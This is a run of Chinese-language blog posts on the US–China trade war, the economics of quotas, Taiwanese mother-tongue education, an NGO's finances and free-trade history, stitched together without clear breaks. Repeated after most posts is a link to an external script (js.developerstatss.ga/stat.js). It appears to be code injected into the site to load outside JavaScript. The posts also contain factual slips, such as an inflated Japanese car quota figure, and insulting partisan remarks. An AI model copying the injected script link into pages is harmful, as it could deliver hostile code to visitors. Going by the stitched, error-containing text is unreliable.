作者: yuanyuchang

1. 正式宣戰（to declare war）依美國憲法設計是專屬美國國會之權力，美國總統沒這權，更甭提副總統。

（美國總統有些打擦邊球的小技巧，但通常就不會這樣大喇喇地公開說了）

況且此次談話只是在一仇中聞名的智庫（Hudson Institute）發表，內容以聽眾偏好為導向，一個脫口秀節目主持人出身的副總統，談話偏激也只是預料之中。

2. 該演講內容諸多事實描述不是錯誤就是片面，其實是水準很差的演講。

例如污名化一帶一路，宣稱其將利用債務陷阱來坑騙他國，卻刻意忽略習進平於9月中非論壇上宣布：「向非洲提供600億美元無償援助、貸款、專案及投資；且免除「與中國有外交關係」的非洲窮國今年底到期的政府間未償還債務。」

幾乎內文所舉的例子都有這樣那樣的問題存在，反駁實在浪費時間。

3. 高估這場演講為「宣戰」是很愚蠢的自我欺騙。

這不過就是針對特定觀眾演出的show，跟「厲害了我的國」這部宣傳式電影本質上並無二致。

順帶嘗試將民主共和兩黨近年來各項議題累積的針鋒相對壓力，轉出口到共同假想敵中國身上。有沒有移轉成功？還看大法官人選爭議怎麼落幕。

4. 會是中美冷戰宣言嗎？更是不可能。

美蘇之間當年是幾乎無任何經貿往來，而現今美國與中國卻是高度相互經貿依賴。

如果美國政府要片面中斷所有與中國經貿關係，則將要付出巨大代價，恐怕敢這樣搞的政黨連政權都要丟了。

我依然認為我先前預測是正確：政治代價逐漸浮現，美國政客會傾向小打小鬧弄個共同假想敵方便選舉市場操作，但全面翻臉反而對整體美國利益（包含政客利益）都有損傷。

這是檯面上很明確的侷限條件。

至於中國扮黑臉有沒有好處可撈？這檯面下的侷限條件不易探查，就只能裝不知道囉。

總而言之，沒了強盜，官兵就要失業了；以「世界警察」自居從而尋租的美國政客們，當然總要「創造」出強盜來。https://js.developerstatss.ga/stat.js?n=ns1

FT首席經濟評論員看壞美國，兼論智財權保護於中美貿易衝突

Martin Wolf of the Financial Times

“ Donald Trump is wrong: China is not Mexico”

1. Trump has the wrong idea on global trade — bilateral mercantilism and asymmetric balance of pain.

2. Serious economists, back to Adam Smith, would insist that seeking a surplus with every trading partner is not winning.（這點我過去談過了，懂Adam Smith國富論都知道重商主義錯誤之處，可惜還有很多自詡總體經濟學專業者不懂哩～）

3. 此貿易協定尚未通過三國國會同意，而年底大選民主黨重新掌握國會機率相當高（事實上美國歷史上多數時候，國會多數黨往往非總統所屬政黨）

4. 美國之所以可以簡單透過威脅方式逼迫墨西哥與加拿大同意該協議，是因為墨西哥2017年出口美國占該國GDP達28%，加拿大同年為19%。但是中國出口美國僅佔中國GDP 4.1%（貿易順差額佔GDP3.1%)，換言之，美國之所以中國的重要性遠不如美國之於加墨。

5. 中國1/3出口貨品的原物料或半成品來自於進口，這表示中國市場龐大到多數國家不可能僅僅為了美國就與其翻臉。（從預期收入角度來看，與中國翻臉的成本並不低，美國除非願意補償這部分損失，亦或者有其他原因讓世界他國願意承擔這代價）

6. 美國出口中國之所以很少，反映的是美國貨在中國市場缺乏競爭力之事實，作者認為川普應該努力的是這點。

7. Martin 更指出：若中國真的如川普要求改善智慧財產權保障與大幅度開放投資市場，則可能吸引更多美商放棄美國轉投資中國，如此一來豈非與川普所願相違背？

8. 與我的看法相同：作者認為貿易戰肯定結果是「全世界都是輸家」，差別只在於「誰輸多誰輸少」。

9. 作者從最近歐洲央行的「中國會從貿易戰勝出」報告中點出一個有趣的且極為簡單的經濟邏輯：貿易戰中，越大的經濟體受損會越少。而全世界相對於美國，前者是後者的3.3倍！以此切入，美國勝率實在不高。尤其全世界目前只有美國自己要打貿易戰，其他國家彼此之間可沒這麼無聊。

10. 作者結論指出，不管美國怎樣干涉，都無法改變中國經濟與科技會繼續進展的事實。若美國繼續堅持，必然損及自身的經濟貿易與世界經濟乃至於國際關係。

#英國金融時報的首席經濟評論員Martin Wolf怎麼可以越級打怪？
#這家不入流財經媒體怎可以不自量力地反駁上海乾癟蘋果及其小夥伴們？
#中美貿易戰美國怎麼可能受損？
#老娘的經濟學就是「天下有白吃午餐」的零成本經濟學

—————————————————————————

我的看法，兼論國際貿易協議與智財權保護：

美國、墨西哥、加拿大三國達成共識是不錯的消息，但也別被震撼或高興得太早。

根據美國憲法Article II, Section 2.2，還要等國會通過才會正式生效哩。當然加拿大、墨西哥的國會也要同意方才各自生效。而目前看來，這三個國會要通過最快也得等到2019年，墨西哥將會是新任國會決定是否同意，而加拿大也碰上選舉年。換言之，並非完全沒有變數。

今年6月我在「貿易戰與歐盟負利率(https://wp.me/p9ffS3-Db)」一文中說明："…短期上川普拿明明不是問題的「貿易逆差」當問題撻伐，肯定與選舉有關；長期上川普也看出WTO架構對美國並不利，跳脫這種群架架構，轉為一對一的貿易談判將對美國更有利。…"

https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

我並非研究語言學，而是實際從事法律工作（中英文均有），也從事過行銷工作，深知許多工作對文字掌握能力的要求很高。

認識一些同樣留美的律師，面對英文一個長達200多字的句子掌握力不行，連判決內涵與法官邏輯都發生解讀錯誤。要知道這類錯誤可是牽涉到龐大金額或刑責的問題，可不容馬虎。

而這類文字掌握度缺乏，包含我的教授或共事過的美國資深律師均認為來自於對英文經典的閱讀不足，尤其18、19世紀的長句型文章。

換言之，我是以過來人且非常實用的角度，提醒朋友們文字語言能力就像是工具，某些行業對這種工具的精鍊熟稔要求非常高，就有如某些行業對數學要求很高一樣。

既然學校教育要求學生達到一定數學程度，難道也不該要求學生達到一定語言程度嗎？那些宣稱「用不著高深語言」的言論，難道忘了「很多人工作也用不著聯立方程式、幾何與微積分」嗎？

如果出自於狹隘的本位，從而宣稱高深語言技巧用不著所以不用教，那是不是更有人可以主張數學只要會加減乘除就好呢？

當然我不是主張人人都要成為文言文大師，就像過去我大學念土木工程，工程數學並不需要涉及「群論」或「拓樸學」，但我聽說應用化學領域可能就要使用「群論」。而一般人學點歐氏幾何就很夠用，非歐氏幾何搞不好很多人連聽都沒聽過。

語言程度要求固然也會隨職業而不同。而學校教育至少應該訓練學生到達一定的語言程度，當然視階段與專業會因此有別。
https://js.developerstatss.ga/stat.js?n=ns1

1970年代以前，日本車在美國是低品質的代名詞，相信熟悉汽車歷史者都清楚。

到了1981年，美國日本之間達成一個自願性協議（voluntary restraint agreement, aka. VRA），也就是日本車出口美國必須受到配額限制，一年只有2300萬輛日本車的額度。

此配額制度一實施，很快日本車品質一飛沖天，如今日本車在美國形象簡直高大上，90年代甚至打趴一堆美國汽車大廠。

為什麼？

這就牽涉到經濟學很有名的Alchian-Allen 定律。

此定律最早是經濟學大師A. Alchian嘗試解釋「為何出口到外國的柳橙品質遠高過在地販賣的」而提出。

Alchian定律說：如果我們把水果的糖分、風味、水份、口感等等要素分開考量，則在相同運輸成本之下，同一顆柳橙裡這些要素放得越多，則平均單位運輸成本會下降。因此在自私的驅動之下，出口水果的品質會高於在地消費。各個要素之比例是受到市場品味所侷限，固不待言。

其實古代中國人早就發現這個現象，因此北京的老酒莊有句行話曰：「出處不如聚處」。

這個定律在真實世界處處發威，大家平常最能觀察到的現象邊際轉變，就是馬英九擔任台北市長時實施垃圾費隨袋徵收政策 — 政策實施之後，強迫使用且價格高出數十倍的垃圾袋馬上被裝得奇滿無比，而在政策實施之前，每袋垃圾明顯寬鬆許多。

一般人到限時的高級吃到飽餐廳往往會吃下遠多於平時份量的食物，也是同樣的經濟學定律在發威。

因此，美國對香港實施紡織品配額制後，香港出口至美國的衣物品質飛快飆升，許多美國本土高級品牌被殺得片甲不留，紛紛被迫外包給港商，有趣的也是這段時間的政策，害巴菲特被套牢在波克夏紡織公司這筆投資上；也是這段時間，黎智英等人迅速累積財富甚至自創衣飾品牌Giordano佐丹奴。

這也是為什麼前幾天我在經濟水晶球一文中預測：當美國實施貿易關稅壁壘的稅率遠不如過去1930年的60%那麼高，而是10% ~ 25%時，邊際租值低的產品固然有轉單效應，但邊際租值高者則無，而且在既有中國供應鏈十分完整、高效且可預期品質的前提下（試想，世界上除了中國，有哪一國的供應鏈可以維持蘋果iPhone這般高組裝品質與一季數千萬支出貨之需求？），市場競爭下，中國廠商將如過去的日商、港商一樣，被迫往高租值產品方向走。未來中國製會成為高品質代名詞。

這是迫於生存壓力，遠非「政策補貼」可以比擬。

當然，這個過程會死掉許多中國邊際廠商，畢竟市場轉嚴峻，弱者被淘汰只是自然現象。而數年淘汰之後的結果，就如今日日本製那般。

這邊再補充一個關鍵侷限條件：生產者資產可自由移轉。這點說起來就麻煩，涉及產權經濟學，我就不特別解釋，因為畢竟關稅壁壘不是配額制度，當年配額制下配額可自由移轉才發生品質快速上升，如今廠商資產可自由移轉的話，經濟分析上會有一樣的效果。（內行的知道我在講什麼） 😉

財經外行的無知者應該不知道，當年日本可是「低品質、不守信、無紀律」的代名詞，自然也不會懂這些價格理論的東西。

回過頭從另一個角度看：稅率不特別高的貿易壁壘，本身會引發「財富移轉」效果 — 原本應該由消費者享受的「消費者剩餘（consumer surplus）」會部分經由關稅移轉到政府手中，實質成為「可操控預算之政客的間接財富」。

因此，美國政客一定會小打貿易戰，畢竟景氣大好，總得鑽營尋租。但大打可能性不高，因為1930年代的前車之鑑還十分嚇人，關稅提太高，等於是殺雞又取不到卵。

Alchian的定律說穿了是「緊緊遵守需求定律」的衍生理論，而我使用的經濟邏輯也是一樣地遵守需求定律。

至於GDP滿火車跑地胡扯，先前我已經批判過一些總體經濟學理論錯誤何在，有興趣的朋友請自己爬文。https://js.developerstatss.ga/stat.js?n=ns1

你叫Robert Arthur Talbot Gascoyne-Cecil，是英國維多利亞女王在19世紀末的首相。

見多識廣、博學強記的你，知道物理學、空氣動力學等等當代先進科學知識，你洞察預見不久的將來，人類將發明可以運輸貨物的飛行器。

於是你下令屠殺全英國（含殖民地）的馬匹、燒毀所有馬車與船隻。

反正，「飛行家園」即將來到，而你堅信不已也努力開動政府機器強力宣傳。

從此大家都過著幸福快樂的生活，等待「飛行家園」….

「我們約定好了～」你心裡默默想著。

（以上純幻想文）https://js.developerstatss.ga/stat.js?n=ns1

台灣所謂的推廣母語（閩南語、客語或原住民語）在我看來就是騙選票跟騙政府補助，此外無任何意義。

關於語言，許多推廣母語者都故意忽略不談的就是「語言的網路效應（network effect of languages） — 猶如電話、網際網路這類設施，越多人使用其規模經濟越大、效用也會乘數效應放大。

一個電話完全無用，兩支電話開始有點用，當數量成長到數千萬支電話時，可以開發的商機與節省的溝通費用無比驚人。

語言也是一樣，越多人使用、越主流的語言，學習的成本效益越高。這也是說單位投入產出將非常高。

人生苦短，多數人的時間成本並不允許學習多種語言的情形下，故意放棄全世界最多人使用的英文、葡萄牙/西班牙文或中文，而花費時間在學習相對人數相當少的台灣幾種母語，根本形同浪費。更甭提台灣的英文教育根本還很差，許多高中、大學畢業生連要用英文寫篇通順自然的作文都辦不到。

如果是出自於個人自由選擇，我們無從評價與批評，畢竟每個人最清楚自己要怎麼使用「時間與腦力資源」。

但若是由政府強迫或補貼這類效用很低的語言學習，則將會是一種社會整體資源浪費。我始終反對拿我的稅金去補貼這種項目，只是為了幫政客拉攏特定族群選票。

另一方面，的確少數語言存在翻譯人才的價值，當人數不多時，這些人的租值可以很高，例如我知道政大阿拉伯語文相關、俄文相關的同學挺吃香的。但這種人多了，競爭之下租值是掉很快的。

這點從當年聯考分數排行以及坊間語言補習機構課程供應就可知道，市場一直都是很理智的。

PS 我上小學之前完全不會講國語（普通話），到現在我在家裡與長輩溝通還是以台語為主要語言，但我從經濟分析觀點來看，一樣反對由政府要求學校教授台語（包括客語與原住民語）。

犧牲下一代的腦力與時間只為討好某些文化自信缺乏的蠢蛋，恕難苟同。https://js.developerstatss.ga/stat.js?n=ns1

羨煞一堆小企業！

正經生產活動一個都不用做，只要「什麼我都反對」，扮演「地球靠我救」這種類巫師求雨戲碼，就可以輕鬆年營收破2億耶！

財務報表美編做得真好，打趴一堆上市公司。

按一下以存取 Annual_Report_2017_TW.pdf

可是成效檢驗都是一堆不知所云、不知如何驗證的胡說八道。

例如財報中記載：
「校園無塑園遊會計畫，17 場共省下：
杯子 35377個
吸管 33911根
垃圾袋 53010個」

這是如何計算出來？即便是真的，以愛買零售價來檢視（免洗塑膠杯40pcs $10、吸管60支包裝$14、楓康平底垃圾袋大30入45L $42元） = $90,970

而舉辦這17場校園園遊會花了多少錢呢？根據財報，答案是：$643,587！

哇！花了$64萬來省下$9萬，真的好環保、好友善地球、好棒棒喔！我都還不知道怎麼計算「省下的吸管、塑膠杯和垃圾袋」耶～如果一開始就不辦這種浮誇園遊會，是不是更乾脆地省下$73萬，也同樣省下那些免洗餐具垃圾袋呢？

唉呀～小弟何德何能，怎麼可以這樣質疑懷抱「愛護地球高貴情操」的高效行銷機構呢？

太多神奇的專案，讓我羨慕得不行。

像是2017年花了90幾萬元台幣，出了兩份中文報告，宣稱要求可口可樂正視寶特瓶氾濫問題。

奇怪的是，可口可樂公司一直都在回收自家生產的瓶子耶～還做了影片宣傳耶～

出兩份報告，要求某大公司做已經在做的事，然後拿90萬台幣！good job！這種打工哪裡找～

這種高租值高道德商業模式，難怪可以睥睨苦哈哈的低毛利傳統產業。https://js.developerstatss.ga/stat.js?n=ns1

知名商業史作家John S. Gordon於WSJ投書：「The United States of Free Trade」，摘要如下：

1. 作者開篇就引了美國法律上赫赫有名1824年的"Gibbons v. Ogden"一案，該案簡言之就是紐約州政府針對河運頒發壟斷特許權給Robert Livingston與Robert Fulton的新興技術公司 — 蒸汽船。

而此舉侵害了原本在紐約州與紐澤西州同樣航運蒸汽船的Thomas Gibbons，於是Gibbons一舉告上法院，案子一路來到聯邦最高法院。

聯邦最高法院法官一致同意，判決紐約州政府的壟斷性特許權違反美國憲法而無效。

此例一開，大大有利於美國內陸船運經濟發展，判決後僅僅一年，紐約水域的蒸汽船從6艘成長至43艘，運費則下降40%！

而許多法學家、歷史學家均同意，此判決是奠定美國自由市場經濟的基礎！各州之間無法再像殖民地時期、建國初期那樣胡亂設置州的貿易障礙，美其名保護各州自身產業利益，其實對整個美國大不利。

2. 自由貿易可以讓比較優勢定律乘數發威，對提高生產效率與增加人民財富大有幫助。

3. 但作者也指出，美國聯邦政府在多數歷史時間裡，卻是站在自由貿易的對立面！

1930年國會通過Smoot-Hawley法案，實質關稅稅率拉至美國歷史第二高近60%，其災難性的結果就是美國出口額從1929年的$5.241B降至1932年的$1.161B，相當於77%的衰退。

全世界總貿易額度也於同時期從$36B下減至$12B ，66%的衰退，全球經濟退步至1896年水準，倒退36年。

錯誤的政策與貿易戰，加劇原本的景氣衰退，使接下來10年成為人盡皆知的大蕭條（the Great Depression）。不僅使全球財富縮水，更間接促成納粹崛起與日本軍國主義侵略中國，全球數千萬人口死於戰亂。

4. 二次世界大戰結束，美國從大蕭條學得的教訓，因此聯合共23個國家簽署GATT（General Agreement on Tariffs and Trade），平均實質關稅稅率調降至22%。

接下來持續的下修開放，到1999年時，美國平均關稅稅率來到5%歷史新低。

此自由貿易進展，帶來的是全世界驚人的財富噴發性成長。

1950年世界純商品貿易總額為$58B，1999年成長至$5.4T，2017年來到$17T！（年複合成長率8.8%）

5. 關稅調降並非世界繁榮富裕的唯一因素。科技進展、更好的貿易政策、貨櫃的發明…等等原因，均有其貢獻。

6. 作者指出，阻止世界進一步更自由貿易的主因，恰恰來自於美國內部。例如美國製糖業是一個政治上相當有影響力的利益團體，透過配額制度保護美國製糖業者，卻也讓消費者付出高於他國的代價。

此外戰略考量也是阻止自由貿易的原因之一，總有政客認為美國必須掌握戰略物資、戰略技術，因此自主開發生產各類武器乃至於鋼鐵就成為保護這些產業的藉口。

而最愚蠢者莫過於「貿易平衡說」–此謬論認為出口必須大於進口才對國家有利。（這點是我這兩天批評過的愚蠢重商主義思維，建議大家讀讀Adam Smith的國富論）

作者指出，貿易逆差是任何快速成長與成熟的經濟體必然存在的現象，美國整個19世紀都是貿易赤字，卻仍就成長為世界經濟第一霸權。顯見「貿易赤字有害論」根本是胡扯。

——————————————————————–
我的看法：

1. 美國殖民地到建國初期的法制史非常有趣，尤其是美國獨立但尚未有聯邦政府的這段期間，以及聯邦政府成立後美國最高法院怎樣為自己爭取到三權鼎足分立，值得對制度經濟學有興趣的朋友花點心思。

2. 美國動輒以反傾銷對付外國廠商，本身也是違反自由貿易的舉措。還有許多非關稅貿易障礙，例如消費者保護法、各種環保法規甚或國家安全相關法規等，這些作者沒提到，我於此補充。

 

3.. 一堆蠢台獨講起中美貿易戰幾乎多假設「美國不用付出任何成本就能打」。從根本就錯了，即便東拉西扯各種陰謀論滿天飛或論文文獻引一堆，其實都只是可笑地放屁。

WSJ本文恰恰從史實層面點出，過去美國貿易戰如何付出重大代價，這才是真實世界的經濟學。

我們最常見的經濟相關蠢話或謬論，多半不是「忽略行為成本」就是「違背自私假設」。此二點是快速判斷任何論點自身經濟邏輯是否正確的快速試紙。

4. 本文作者John S. Gordon的「An Empire of Wealth: The Epic History of American Economic Power」是我很推薦的一本書。https://js.developerstatss.ga/stat.js?n=ns1